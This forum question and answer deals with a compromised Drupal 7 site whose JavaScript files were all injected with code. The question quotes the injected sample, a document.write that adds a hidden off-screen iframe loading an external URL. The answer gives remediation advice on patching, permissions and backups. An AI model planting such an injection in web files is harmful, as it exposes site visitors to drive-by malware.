Malicious code on my Drupal 7 website I found that in all(i mean all drupal js files)  javascript files on my drupal website, there is a javascript code with an iframe pointing to an external website.
When opening the website through Google crome, the Browser shows Malware warning.
 How is it possible that someone was able to write on the javascript files?
 My settings.php permission is 0444 readOnly

Below is  the sample of the injected code

 jQuery(document).ready(function($){

   $("#edit-search-web").Watermark(" type the keyword");

 });;document.write('&lt;iframe width="55" height="55" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="SOMEBADURL"&gt;&lt;/iframe&gt;');
Without knowing the specifics or your installation, nobody can give you the exact reason you got hacked.

I suspect that your server is running a vulnerable version of PHP and that Apache has write access to your site files.  Typically, there will be a bot that will GET a specifc URL that will download a script onto the server, which will then append to well-known (or all) Javascript files.  These additions will add in the malicious code.

After you fix this problem, you should.


Patch your PHP to bring it up to the latest revision for your version of PHP.
Update Drupal to the latest revision for your version.
Clean out your /tmp folders on the server and reboot it.
Read up on Securing file permissions and ownership.  It is important that you fix permissions each time you update files; a lot of FTP clients botch permissions when they upload.
If you are on shared hosting, consider moving to a VPS or Drupal specific hosting.  Running Apache as your login account makes sense for the server owners, not the website owner.
Create a git repo in your DOCROOT, add all of the files (the standard gitignore shoud be fine), and create a "remote" repo on the local filesystem that you can git push to.  This makes backuping up and restoring site files pretty easy.